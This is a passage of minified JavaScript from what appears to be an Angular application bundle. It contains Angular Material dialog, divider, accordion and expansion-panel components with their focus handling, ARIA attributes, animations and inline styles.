1)",(0,b.oB)({opacity:0})))])},A=((x=function(t){l(n,t);var e=f(n);function n(t,i,r,a,s,u){var c;return _(this,n),(c=e.call(this))._elementRef=t,c._focusTrapFactory=i,c._changeDetectorRef=r,c._config=s,c._focusMonitor=u,c._animationStateChanged=new o.vpe,c._elementFocusedBeforeDialogWasOpened=null,c._closeInteractionType=null,c.attachDomPortal=function(t){return c._portalOutlet.hasAttached(),c._portalOutlet.attachDomPortal(t)},c._ariaLabelledBy=s.ariaLabelledBy||null,c._document=a,c}return y(n,[{key:"_initializeWithAttachedContent",value:function(){this._setupFocusTrap(),this._capturePreviouslyFocusedElement(),this._focusDialogContainer()}},{key:"attachComponentPortal",value:function(t){return this._portalOutlet.hasAttached(),this._portalOutlet.attachComponentPortal(t)}},{key:"attachTemplatePortal",value:function(t){return this._portalOutlet.hasAttached(),this._portalOutlet.attachTemplatePortal(t)}},{key:"_recaptureFocus",value:function(){this._containsFocus()||(!this._config.autoFocus||!this._focusTrap.focusInitialElement())&&this._elementRef.nativeElement.focus()}},{key:"_trapFocus",value:function(){this._config.autoFocus?this._focusTrap.focusInitialElementWhenReady():this._containsFocus()||this._elementRef.nativeElement.focus()}},{key:"_restoreFocus",value:function(){var t=this._elementFocusedBeforeDialogWasOpened;if(this._config.restoreFocus&&t&&"function"==typeof t.focus){var e=(0,g.ht)(),n=this._elementRef.nativeElement;(!e||e===this._document.body||e===n||n.contains(e))&&(this._focusMonitor?(this._focusMonitor.focusVia(t,this._closeInteractionType),this._closeInteractionType=null):t.focus())}this._focusTrap&&this._focusTrap.destroy()}},{key:"_setupFocusTrap",value:function(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement)}},{key:"_capturePreviouslyFocusedElement",value:function(){this._document&&(this._elementFocusedBeforeDialogWasOpened=(0,g.ht)())}},{key:"_focusDialogContainer",value:function(){this._elementRef.nativeElement.focus&&this._elementRef.nativeElement.focus()}},{key:"_containsFocus",value:function(){var t=this._elementRef.nativeElement,e=(0,g.ht)();return t===e||t.contains(e)}}]),n}(r.en)).\u0275fac=function(t){return new(t||x)(o.Y36(o.SBq),o.Y36(w.qV),o.Y36(o.sBO),o.Y36(u.K0,8),o.Y36(S),o.Y36(w.tE))},x.\u0275dir=o.lG2({type:x,viewQuery:function(t,e){var n;1&t&&o.Gf(r.Pl,7),2&t&&o.iGM(n=o.CRH())&&(e._portalOutlet=n.first)},features:[o.qOj]}),x),T=function(){var t,e=function(t){l(n,t);var e=f(n);function n(){var t;return _(this,n),(t=e.apply(this,arguments))._state="enter",t}return y(n,[{key:"_onAnimationDone",value:function(t){var e=t.toState,n=t.totalTime;"enter"===e?(this._trapFocus(),this._animationStateChanged.next({state:"opened",totalTime:n})):"exit"===e&&(this._restoreFocus(),this._animationStateChanged.next({state:"closed",totalTime:n}))}},{key:"_onAnimationStart",value:function(t){var e=t.toState,n=t.totalTime;"enter"===e?this._animationStateChanged.next({state:"opening",totalTime:n}):("exit"===e||"void"===e)&&this._animationStateChanged.next({state:"closing",totalTime:n})}},{key:"_startExitAnimation",value:function(){this._state="exit",this._changeDetectorRef.markForCheck()}}]),n}(A);return e.\u0275fac=function(n){return(t||(t=o.n5z(e)))(n||e)},e.\u0275cmp=o.Xpm({type:e,selectors:[["mat-dialog-container"]],hostAttrs:["tabindex","-1","aria-modal","true",1,"mat-dialog-container"],hostVars:6,hostBindings:function(t,e){1&t&&o.WFA("@dialogContainer.start",function(t){return e._onAnimationStart(t)})("@dialogContainer.done",function(t){return e._onAnimationDone(t)}),2&t&&(o.Ikx("id",e._id),o.uIk("role",e._config.role)("aria-labelledby",e._config.ariaLabel?null:e._ariaLabelledBy)("aria-label",e._config.ariaLabel)("aria-describedby",e._config.ariaDescribedBy||null),o.d8E("@dialogContainer",e._state))},features:[o.qOj],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(t,e){1&t&&o.YNc(0,C,0,0,"ng-template",0)},directives:[r.Pl],styles:[".mat-dialog-container{display:block;padding:24px;border-radius:4px;box-sizing:border-box;overflow:auto;outline:0;width:100%;height:100%;min-height:inherit;max-height:inherit}.cdk-high-contrast-active .mat-dialog-container{outline:solid 1px}.mat-dialog-content{display:block;margin:0 -24px;padding:0 24px;max-height:65vh;overflow:auto;-webkit-overflow-scrolling:touch}.mat-dialog-title{margin:0 0 20px;display:block}.mat-dialog-actions{padding:8px 0;display:flex;flex-wrap:wrap;min-height:52px;align-items:center;box-sizing:content-box;margin-bottom:-24px}.mat-dialog-actions[align=end]{justify-content:flex-end}.mat-dialog-actions[align=center]{justify-content:center}.mat-dialog-actions .mat-button-base+.mat-button-base,.mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-dialog-actions .mat-button-base+.mat-button-base,[dir=rtl] .mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:0;margin-right:8px}\n"],encapsulation:2,data:{animation:[E.dialogContainer]}}),e}(),I=0,O=function(){function t(e,n){var i=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"mat-dialog-"+I++;_(this,t),this._overlayRef=e,this._containerInstance=n,this.id=r,this.disableClose=this._containerInstance._config.disableClose,this._afterOpened=new c.xQ,this._afterClosed=new c.xQ,this._beforeClosed=new c.xQ,this._state=0,n._id=r,n._animationStateChanged.pipe((0,p.h)(function(t){return"opened"===t.state}),(0,v.q)(1)).subscribe(function(){i._afterOpened.next(),i._afterOpened.complete()}),n._animationStateChanged.pipe((0,p.h)(function(t){return"closed"===t.state}),(0,v.q)(1)).subscribe(function(){clearTimeout(i._closeFallbackTimeout),i._finishDialogClose()}),e.detachments().subscribe(function(){i._beforeClosed.next(i._result),i._beforeClosed.complete(),i._afterClosed.next(i._result),i._afterClosed.complete(),i.componentInstance=null,i._overlayRef.dispose()}),e.keydownEvents().pipe((0,p.h)(function(t){return t.keyCode===k.hY&&!i.disableClose&&!(0,k.Vb)(t)})).subscribe(function(t){t.preventDefault(),R(i,"keyboard")}),e.backdropClick().subscribe(function(){i.disableClose?i._containerInstance._recaptureFocus():R(i,"mouse")})}return y(t,[{key:"close",value:function(t){var e=this;this._result=t,this._containerInstance._animationStateChanged.pipe((0,p.h)(function(t){return"closing"===t.state}),(0,v.q)(1)).subscribe(function(n){e._beforeClosed.next(t),e._beforeClosed.complete(),e._overlayRef.detachBackdrop(),e._closeFallbackTimeout=setTimeout(function(){return e._finishDialogClose()},n.totalTime+100)}),this._state=1,this._containerInstance._startExitAnimation()}},{key:"afterOpened",value:function(){return this._afterOpened}},{key:"afterClosed",value:function(){return this._afterClosed}},{key:"beforeClosed",value:function(){return this._beforeClosed}},{key:"backdropClick",value:function(){return this._overlayRef.backdropClick()}},{key:"keydownEvents",value:function(){return this._overlayRef.keydownEvents()}},{key:"updatePosition",value:function(t){var e=this._getPositionStrategy();return t&&(t.left||t.right)?t.left?e.left(t.left):e.right(t.right):e.centerHorizontally(),t&&(t.top||t.bottom)?t.top?e.top(t.top):e.bottom(t.bottom):e.centerVertically(),this._overlayRef.updatePosition(),this}},{key:"updateSize",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return this._overlayRef.updateSize({width:t,height:e}),this._overlayRef.updatePosition(),this}},{key:"addPanelClass",value:function(t){return this._overlayRef.addPanelClass(t),this}},{key:"removePanelClass",value:function(t){return this._overlayRef.removePanelClass(t),this}},{key:"getState",value:function(){return this._state}},{key:"_finishDialogClose",value:function(){this._state=2,this._overlayRef.dispose()}},{key:"_getPositionStrategy",value:function(){return this._overlayRef.getConfig().positionStrategy}}]),t}();function R(t,e,n){return void 0!==t._containerInstance&&(t._containerInstance._closeInteractionType=e),t.close(n)}var P=new o.OlP("MatDialogData"),N=new o.OlP("mat-dialog-default-options"),D=new o.OlP("mat-dialog-scroll-strategy"),L={provide:D,deps:[i.aV],useFactory:function(t){return function(){return t.scrollStrategies.block()}}},M=function(){var t=function(){function t(e,n,i,r,o,a,s,u,l){var f=this;_(this,t),this._overlay=e,this._injector=n,this._defaultOptions=i,this._parentDialog=r,this._overlayContainer=o,this._dialogRefConstructor=s,this._dialogContainerType=u,this._dialogDataToken=l,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new c.xQ,this._afterOpenedAtThisLevel=new c.xQ,this._ariaHiddenElements=new Map,this.afterAllClosed=(0,h.P)(function(){return f.openDialogs.length?f._getAfterAllClosed():f._getAfterAllClosed().pipe((0,m.O)(void 0))}),this._scrollStrategy=a}return y(t,[{key:"openDialogs",get:function(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}},{key:"afterOpened",get:function(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}},{key:"_getAfterAllClosed",value:function(){var t=this._parentDialog;return t?t._getAfterAllClosed():this._afterAllClosedAtThisLevel}},{key:"open",value:function(t,e){var n=this;(e=function(t,e){return Object.assign(Object.assign({},e),t)}(e,this._defaultOptions||new S)).id&&this.getDialogById(e.id);var i=this._createOverlay(e),r=this._attachDialogContainer(i,e),o=this._attachDialogContent(t,r,i,e);return this.openDialogs.length||this._hideNonDialogContentFromAssistiveTechnology(),this.openDialogs.push(o),o.afterClosed().subscribe(function(){return n._removeOpenDialog(o)}),this.afterOpened.next(o),r._initializeWithAttachedContent(),o}},{key:"closeAll",value:function(){this._closeDialogs(this.openDialogs)}},{key:"getDialogById",value:function(t){return this.openDialogs.find(function(e){return e.id===t})}},{key:"ngOnDestroy",value:function(){this._closeDialogs(this._openDialogsAtThisLevel),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete()}},{key:"_createOverlay",value:function(t){var e=this._getOverlayConfig(t);return this._overlay.create(e)}},{key:"_getOverlayConfig",value:function(t){var e=new i.X_({positionStrategy:this._overlay.position().global(),scrollStrategy:t.scrollStrategy||this._scrollStrategy(),panelClass:t.panelClass,hasBackdrop:t.hasBackdrop,direction:t.direction,minWidth:t.minWidth,minHeight:t.minHeight,maxWidth:t.maxWidth,maxHeight:t.maxHeight,disposeOnNavigation:t.closeOnNavigation});return t.backdropClass&&(e.backdropClass=t.backdropClass),e}},{key:"_attachDialogContainer",value:function(t,e){var n=o.zs3.create({parent:e&&e.viewContainerRef&&e.viewContainerRef.injector||this._injector,providers:[{provide:S,useValue:e}]}),i=new r.C5(this._dialogContainerType,e.viewContainerRef,n,e.componentFactoryResolver);return t.attach(i).instance}},{key:"_attachDialogContent",value:function(t,e,n,i){var a=new this._dialogRefConstructor(n,e,i.id);if(t instanceof o.Rgc)e.attachTemplatePortal(new r.UE(t,null,{$implicit:i.data,dialogRef:a}));else{var s=this._createInjector(i,a,e),u=e.attachComponentPortal(new r.C5(t,i.viewContainerRef,s));a.componentInstance=u.instance}return a.updateSize(i.width,i.height).updatePosition(i.position),a}},{key:"_createInjector",value:function(t,e,n){var i=t&&t.viewContainerRef&&t.viewContainerRef.injector,r=[{provide:this._dialogContainerType,useValue:n},{provide:this._dialogDataToken,useValue:t.data},{provide:this._dialogRefConstructor,useValue:e}];return t.direction&&(!i||!i.get(s.Is,null,o.XFs.Optional))&&r.push({provide:s.Is,useValue:{value:t.direction,change:(0,d.of)()}}),o.zs3.create({parent:i||this._injector,providers:r})}},{key:"_removeOpenDialog",value:function(t){var e=this.openDialogs.indexOf(t);e>-1&&(this.openDialogs.splice(e,1),this.openDialogs.length||(this._ariaHiddenElements.forEach(function(t,e){t?e.setAttribute("aria-hidden",t):e.removeAttribute("aria-hidden")}),this._ariaHiddenElements.clear(),this._getAfterAllClosed().next()))}},{key:"_hideNonDialogContentFromAssistiveTechnology",value:function(){var t=this._overlayContainer.getContainerElement();if(t.parentElement)for(var e=t.parentElement.children,n=e.length-1;n>-1;n--){var i=e[n];i!==t&&"SCRIPT"!==i.nodeName&&"STYLE"!==i.nodeName&&!i.hasAttribute("aria-live")&&(this._ariaHiddenElements.set(i,i.getAttribute("aria-hidden")),i.setAttribute("aria-hidden","true"))}}},{key:"_closeDialogs",value:function(t){for(var e=t.length;e--;)t[e].close()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(o.Y36(i.aV),o.Y36(o.zs3),o.Y36(void 0),o.Y36(void 0),o.Y36(i.Xj),o.Y36(void 0),o.Y36(o.DyG),o.Y36(o.DyG),o.Y36(o.OlP))},t.\u0275dir=o.lG2({type:t}),t}(),F=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a,s,u){return _(this,n),e.call(this,t,i,o,s,u,a,O,T,P)}return n}(M);return t.\u0275fac=function(e){return new(e||t)(o.LFG(i.aV),o.LFG(o.zs3),o.LFG(u.Ye,8),o.LFG(N,8),o.LFG(D),o.LFG(t,12),o.LFG(i.Xj))},t.\u0275prov=o.Yz7({token:t,factory:t.\u0275fac}),t}(),U=0,B=function(){var t=function(){function t(e,n,i){_(this,t),this._dialogRef=e,this._elementRef=n,this._dialog=i,this.id="mat-dialog-title-"+U++}return y(t,[{key:"ngOnInit",value:function(){var t=this;this._dialogRef||(this._dialogRef=function(t,e){for(var n=t.nativeElement.parentElement;n&&!n.classList.contains("mat-dialog-container");)n=n.parentElement;return n?e.find(function(t){return t.id===n.id}):null}(this._elementRef,this._dialog.openDialogs)),this._dialogRef&&Promise.resolve().then(function(){var e=t._dialogRef._containerInstance;e&&!e._ariaLabelledBy&&(e._ariaLabelledBy=t.id)})}}]),t}();return t.\u0275fac=function(e){return new(e||t)(o.Y36(O,8),o.Y36(o.SBq),o.Y36(F))},t.\u0275dir=o.lG2({type:t,selectors:[["","mat-dialog-title",""],["","matDialogTitle",""]],hostAttrs:[1,"mat-dialog-title"],hostVars:1,hostBindings:function(t,e){2&t&&o.Ikx("id",e.id)},inputs:{id:"id"},exportAs:["matDialogTitle"]}),t}(),j=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=o.lG2({type:t,selectors:[["","mat-dialog-content",""],["mat-dialog-content"],["","matDialogContent",""]],hostAttrs:[1,"mat-dialog-content"]}),t}(),H=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=o.lG2({type:t,selectors:[["","mat-dialog-actions",""],["mat-dialog-actions"],["","matDialogActions",""]],hostAttrs:[1,"mat-dialog-actions"]}),t}(),V=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=o.oAB({type:t}),t.\u0275inj=o.cJS({providers:[F,L],imports:[[i.U8,r.eL,a.BQ],a.BQ]}),t}()},1124:function(t,e,n){"use strict";n.d(e,{d:function(){return s},t:function(){return u}});var i,r=n(20657),o=n(24298),a=n(2316),s=((i=function(){function t(){_(this,t),this._vertical=!1,this._inset=!1}return y(t,[{key:"vertical",get:function(){return this._vertical},set:function(t){this._vertical=(0,r.Ig)(t)}},{key:"inset",get:function(){return this._inset},set:function(t){this._inset=(0,r.Ig)(t)}}]),t}()).\u0275fac=function(t){return new(t||i)},i.\u0275cmp=a.Xpm({type:i,selectors:[["mat-divider"]],hostAttrs:["role","separator",1,"mat-divider"],hostVars:7,hostBindings:function(t,e){2&t&&(a.uIk("aria-orientation",e.vertical?"vertical":"horizontal"),a.ekj("mat-divider-vertical",e.vertical)("mat-divider-horizontal",!e.vertical)("mat-divider-inset",e.inset))},inputs:{vertical:"vertical",inset:"inset"},decls:0,vars:0,template:function(t,e){},styles:[".mat-divider{display:block;margin:0;border-top-width:1px;border-top-style:solid}.mat-divider.mat-divider-vertical{border-top:0;border-right-width:1px;border-right-style:solid}.mat-divider.mat-divider-inset{margin-left:80px}[dir=rtl] .mat-divider.mat-divider-inset{margin-left:auto;margin-right:80px}\n"],encapsulation:2,changeDetection:0}),i),u=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({imports:[[o.BQ],o.BQ]}),t}()},1625:function(t,e,n){"use strict";n.d(e,{To:function(){return J},ib:function(){return q},yz:function(){return Z},yK:function(){return W}});var i,r=n(2316),o=n(20657),a=n(79441),s=n(11318),c=n(62604),h=new r.OlP("CdkAccordion"),d=0,p=((i=function(){function t(e,n,i){var o=this;_(this,t),this.accordion=e,this._changeDetectorRef=n,this._expansionDispatcher=i,this._openCloseAllSubscription=s.w.EMPTY,this.closed=new r.vpe,this.opened=new r.vpe,this.destroyed=new r.vpe,this.expandedChange=new r.vpe,this.id="cdk-accordion-child-"+d++,this._expanded=!1,this._disabled=!1,this._removeUniqueSelectionListener=function(){},this._removeUniqueSelectionListener=i.listen(function(t,e){o.accordion&&!o.accordion.multi&&o.accordion.id===e&&o.id!==t&&(o.expanded=!1)}),this.accordion&&(this._openCloseAllSubscription=this._subscribeToOpenCloseAllActions())}return y(t,[{key:"expanded",get:function(){return this._expanded},set:function(t){t=(0,o.Ig)(t),this._expanded!==t&&(this._expanded=t,this.expandedChange.emit(t),t?(this.opened.emit(),this._expansionDispatcher.notify(this.id,this.accordion?this.accordion.id:this.id)):this.closed.emit(),this._changeDetectorRef.markForCheck())}},{key:"disabled",get:function(){return this._disabled},set:function(t){this._disabled=(0,o.Ig)(t)}},{key:"ngOnDestroy",value:function(){this.opened.complete(),this.closed.complete(),this.destroyed.emit(),this.destroyed.complete(),this._removeUniqueSelectionListener(),this._openCloseAllSubscription.unsubscribe()}},{key:"toggle",value:function(){this.disabled||(this.expanded=!this.expanded)}},{key:"close",value:function(){this.disabled||(this.expanded=!1)}},{key:"open",value:function(){this.disabled||(this.expanded=!0)}},{key:"_subscribeToOpenCloseAllActions",value:function(){var t=this;return this.accordion._openCloseAllActions.subscribe(function(e){t.disabled||(t.expanded=e)})}}]),t}()).\u0275fac=function(t){return new(t||i)(r.Y36(h,12),r.Y36(r.sBO),r.Y36(c.A8))},i.\u0275dir=r.lG2({type:i,selectors:[["cdk-accordion-item"],["","cdkAccordionItem",""]],inputs:{expanded:"expanded",disabled:"disabled"},outputs:{closed:"closed",opened:"opened",destroyed:"destroyed",expandedChange:"expandedChange"},exportAs:["cdkAccordionItem"],features:[r._Bn([{provide:h,useValue:void 0}])]}),i),v=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({}),t}(),g=n(40912),b=n(54364),k=n(24298),w=n(51606),C=n(83720),x=n(1143),S=n(9170),E=n(53466),A=n(90084),T=n(71918),I=n(8117),O=n(89919),R=n(97175),P=["body"];function N(t,e){}var D=[[["mat-expansion-panel-header"]],"*",[["mat-action-row"]]],L=["mat-expansion-panel-header","*","mat-action-row"];function M(t,e){if(1&t&&r._UZ(0,"span",2),2&t){var n=r.oxw();r.Q6J("@indicatorRotate",n._getExpandedState())}}var F=[[["mat-panel-title"]],[["mat-panel-description"]],"*"],U=["mat-panel-title","mat-panel-description","*"],B=new r.OlP("MAT_ACCORDION"),j="225ms cubic-bezier(0.4,0.0,0.2,1)",H={indicatorRotate:(0,R.X$)("indicatorRotate",[(0,R.SB)("collapsed, void",(0,R.oB)({transform:"rotate(0deg)"})),(0,R.SB)("expanded",(0,R.oB)({transform:"rotate(180deg)"})),(0,R.eR)("expanded <=> collapsed, void => collapsed",(0,R.jt)(j))]),bodyExpansion:(0,R.X$)("bodyExpansion",[(0,R.SB)("collapsed, void",(0,R.oB)({height:"0px",visibility:"hidden"})),(0,R.SB)("expanded",(0,R.oB)({height:"*",visibility:"visible"})),(0,R.eR)("expanded <=> collapsed, void => collapsed",(0,R.jt)(j))])},V=function(){var t=function t(e){_(this,t),this._template=e};return t.\u0275fac=function(e){return new(e||t)(r.Y36(r.Rgc))},t.\u0275dir=r.lG2({type:t,selectors:[["ng-template","matExpansionPanelContent",""]]}),t}(),G=0,Y=new r.OlP("MAT_EXPANSION_PANEL_DEFAULT_OPTIONS"),q=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,o,s,u,c,l){var h;return _(this,n),(h=e.call(this,t,i,o))._viewContainerRef=s,h._animationMode=c,h._hideToggle=!1,h.afterExpand=new r.vpe,h.afterCollapse=new r.vpe,h._inputChanges=new a.xQ,h._headerId="mat-expansion-panel-header-"+G++,h._bodyAnimationDone=new a.xQ,h.accordion=t,h._document=u,h._bodyAnimationDone.pipe((0,C.x)(function(t,e){return t.fromState===e.fromState&&t.toState===e.toState})).subscribe(function(t){"void"!==t.fromState&&("expanded"===t.toState?h.afterExpand.emit():"collapsed"===t.toState&&h.afterCollapse.emit())}),l&&(h.hideToggle=l.hideToggle),h}return y(n,[{key:"hideToggle",get:function(){return this._hideToggle||this.accordion&&this.accordion.hideToggle},set:function(t){this._hideToggle=(0,o.Ig)(t)}},{key:"togglePosition",get:function(){return this._togglePosition||this.accordion&&this.accordion.togglePosition},set:function(t){this._togglePosition=t}},{key:"_hasSpacing",value:function(){return!!this.accordion&&this.expanded&&"default"===this.accordion.displayMode}},{key:"_getExpandedState",value:function(){return this.expanded?"expanded":"collapsed"}},{key:"toggle",value:function(){this.expanded=!this.expanded}},{key:"close",value:function(){this.expanded=!1}},{key:"open",value:function(){this.expanded=!0}},{key:"ngAfterContentInit",value:function(){var t=this;this._lazyContent&&this.opened.pipe((0,x.O)(null),(0,S.h)(function(){return t.expanded&&!t._portal}),(0,E.q)(1)).subscribe(function(){t._portal=new g.UE(t._lazyContent._template,t._viewContainerRef)})}},{key:"ngOnChanges",value:function(t){this._inputChanges.next(t)}},{key:"ngOnDestroy",value:function(){u(m(n.prototype),"ngOnDestroy",this).call(this),this._bodyAnimationDone.complete(),this._inputChanges.complete()}},{key:"_containsFocus",value:function(){if(this._body){var t=this._document.activeElement,e=this._body.nativeElement;return t===e||e.contains(t)}return!1}}]),n}(p);return t.\u0275fac=function(e){return new(e||t)(r.Y36(B,12),r.Y36(r.sBO),r.Y36(c.A8),r.Y36(r.s_b),r.Y36(b.K0),r.Y36(T.Qb,8),r.Y36(Y,8))},t.\u0275cmp=r.Xpm({type:t,selectors:[["mat-expansion-panel"]],contentQueries:function(t,e,n){var i;(1&t&&r.Suo(n,V,5),2&t)&&(r.iGM(i=r.CRH())&&(e._lazyContent=i.first))},viewQuery:function(t,e){var n;(1&t&&r.Gf(P,5),2&t)&&(r.iGM(n=r.CRH())&&(e._body=n.first))},hostAttrs:[1,"mat-expansion-panel"],hostVars:6,hostBindings:function(t,e){2&t&&r.ekj("mat-expanded",e.expanded)("_mat-animation-noopable","NoopAnimations"===e._animationMode)("mat-expansion-panel-spacing",e._hasSpacing())},inputs:{disabled:"disabled",expanded:"expanded",hideToggle:"hideToggle",togglePosition:"togglePosition"},outputs:{opened:"opened",closed:"closed",expandedChange:"expandedChange",afterExpand:"afterExpand",afterCollapse:"afterCollapse"},exportAs:["matExpansionPanel"],features:[r._Bn([{provide:B,useValue:void 0}]),r.qOj,r.TTD],ngContentSelectors:L,decls:7,vars:4,consts:[["role","region",1,"mat-expansion-panel-content",3,"id"],["body",""],[1,"mat-expansion-panel-body"],[3,"cdkPortalOutlet"]],template:function(t,e){1&t&&(r.F$t(D),r.Hsn(0),r.TgZ(1,"div",0,1),r.NdJ("@bodyExpansion.done",function(t){return e._bodyAnimationDone.next(t)}),r.TgZ(3,"div",2),r.Hsn(4,1),r.YNc(5,N,0,0,"ng-template",3),r.qZA(),r.Hsn(6,2),r.qZA()),2&t&&(r.xp6(1),r.Q6J("@bodyExpansion",e._getExpandedState())("id",e.id),r.uIk("aria-labelledby",e._headerId),r.xp6(4),r.Q6J("cdkPortalOutlet",e._portal))},directives:[g.Pl],styles:[".mat-expansion-panel{box-sizing:content-box;display:block;margin:0;border-radius:4px;overflow:hidden;transition:margin 225ms cubic-bezier(0.4, 0, 0.2, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);position:relative}.mat-accordion .mat-expansion-panel:not(.mat-expanded),.mat-accordion .mat-expansion-panel:not(.mat-expansion-panel-spacing){border-radius:0}.mat-accordion .mat-expansion-panel:first-of-type{border-top-right-radius:4px;border-top-left-radius:4px}.mat-accordion .mat-expansion-panel:last-of-type{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.cdk-high-contrast-active .mat-expansion-panel{outline:solid 1px}.mat-expansion-panel.ng-animate-disabled,.ng-animate-disabled .mat-expansion-panel,.mat-expansion-panel._mat-animation-noopable{transition:none}.mat-expansion-panel-content{display:flex;flex-direction:column;overflow:visible}.mat-expansion-panel-body{padding:0 24px 16px}.mat-expansion-panel-spacing{margin:16px 0}.mat-accordion>.mat-expansion-panel-spacing:first-child,.mat-accordion>*:first-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-top:0}.mat-accordion>.mat-expansion-panel-spacing:last-child,.mat-accordion>*:last-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-bottom:0}.mat-action-row{border-top-style:solid;border-top-width:1px;display:flex;flex-direction:row;justify-content:flex-end;padding:16px 8px 16px 24px}.mat-action-row button.mat-button-base,.mat-action-row button.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-action-row button.mat-button-base,[dir=rtl] .mat-action-row button.mat-mdc-button-base{margin-left:0;margin-right:8px}\n"],encapsulation:2,data:{animation:[H.bodyExpansion]},changeDetection:0}),t}(),z=(0,k.sb)(function t(){_(this,t)}),Z=function(){var t=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a,u,c){var l;_(this,n),(l=e.call(this)).panel=t,l._element=i,l._focusMonitor=r,l._changeDetectorRef=o,l._animationMode=u,l._parentChangeSubscription=s.w.EMPTY;var h=t.accordion?t.accordion._stateChanges.pipe((0,S.h)(function(t){return!(!t.hideToggle&&!t.togglePosition)})):I.E;return l.tabIndex=parseInt(c||"")||0,l._parentChangeSubscription=(0,O.T)(t.opened,t.closed,h,t._inputChanges.pipe((0,S.h)(function(t){return!!(t.hideToggle||t.disabled||t.togglePosition)}))).subscribe(function(){return l._changeDetectorRef.markForCheck()}),t.closed.pipe((0,S.h)(function(){return t._containsFocus()})).subscribe(function(){return r.focusVia(i,"program")}),a&&(l.expandedHeight=a.expandedHeight,l.collapsedHeight=a.collapsedHeight),l}return y(n,[{key:"disabled",get:function(){return this.panel.disabled}},{key:"_toggle",value:function(){this.disabled||this.panel.toggle()}},{key:"_isExpanded",value:function(){return this.panel.expanded}},{key:"_getExpandedState",value:function(){return this.panel._getExpandedState()}},{key:"_getPanelId",value:function(){return this.panel.id}},{key:"_getTogglePosition",value:function(){return this.panel.togglePosition}},{key:"_showToggle",value:function(){return!this.panel.hideToggle&&!this.panel.disabled}},{key:"_getHeaderHeight",value:function(){var t=this._isExpanded();return t&&this.expandedHeight?this.expandedHeight:!t&&this.collapsedHeight?this.collapsedHeight:null}},{key:"_keydown",value:function(t){switch(t.keyCode){case A.L_:case A.K5:(0,A.Vb)(t)||(t.preventDefault(),this._toggle());break;default:return void(this.panel.accordion&&this.panel.accordion._handleHeaderKeydown(t))}}},{key:"focus",value:function(t,e){t?this._focusMonitor.focusVia(this._element,t,e):this._element.nativeElement.focus(e)}},{key:"ngAfterViewInit",value:function(){var t=this;this._focusMonitor.monitor(this._element).subscribe(function(e){e&&t.panel.accordion&&t.panel.accordion._handleHeaderFocus(t)})}},{key:"ngOnDestroy",value:function(){this._parentChangeSubscription.unsubscribe(),this._focusMonitor.stopMonitoring(this._element)}}]),n}(z);return t.\u0275fac=function(e){return new(e||t)(r.Y36(q,1),r.Y36(r.SBq),r.Y36(w.tE),r.Y36(r.sBO),r.Y36(Y,8),r.Y36(T.Qb,8),r.$8M("tabindex"))},t.\u0275cmp=r.Xpm({type:t,selectors:[["mat-expansion-panel-header"]],hostAttrs:["role","button",1,"mat-expansion-panel-header","mat-focus-indicator"],hostVars:15,hostBindings:function(t,e){1&t&&r.NdJ("click",function(){return e._toggle()})("keydown",function(t){return e._keydown(t)}),2&t&&(r.uIk("id",e.panel._headerId)("tabindex",e.tabIndex)("aria-controls",e._getPanelId())("aria-expanded",e._isExpanded())("aria-disabled",e.panel.disabled),r.Udp("height",e._getHeaderHeight()),r.ekj("mat-expanded",e._isExpanded())("mat-expansion-toggle-indicator-after","after"===e._getTogglePosition())("mat-expansion-toggle-indicator-before","before"===e._getTogglePosition())("_mat-animation-noopable","NoopAnimations"===e._animationMode))},inputs:{tabIndex:"tabIndex",expandedHeight:"expandedHeight",collapsedHeight:"collapsedHeight"},features:[r.qOj],ngContentSelectors:U,decls:5,vars:1,consts:[[1,"mat-content"],["class","mat-expansion-indicator",4,"ngIf"],[1,"mat-expansion-indicator"]],template:function(t,e){1&t&&(r.F$t(F),r.TgZ(0,"span",0),r.Hsn(1),r.Hsn(2,1),r.Hsn(3,2),r.qZA(),r.YNc(4,M,1,1,"span",1)),2&t&&(r.xp6(4),r.Q6J("ngIf",e._showToggle()))},directives:[b.O5],styles:['.mat-expansion-panel-header{display:flex;flex-direction:row;align-items:center;padding:0 24px;border-radius:inherit;transition:height 225ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-expansion-panel-header._mat-animation-noopable{transition:none}.mat-expansion-panel-header:focus,.mat-expansion-panel-header:hover{outline:none}.mat-expansion-panel-header.mat-expanded:focus,.mat-expansion-panel-header.mat-expanded:hover{background:inherit}.mat-expansion-panel-header:not([aria-disabled=true]){cursor:pointer}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before{flex-direction:row-reverse}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 16px 0 0}[dir=rtl] .mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 0 0 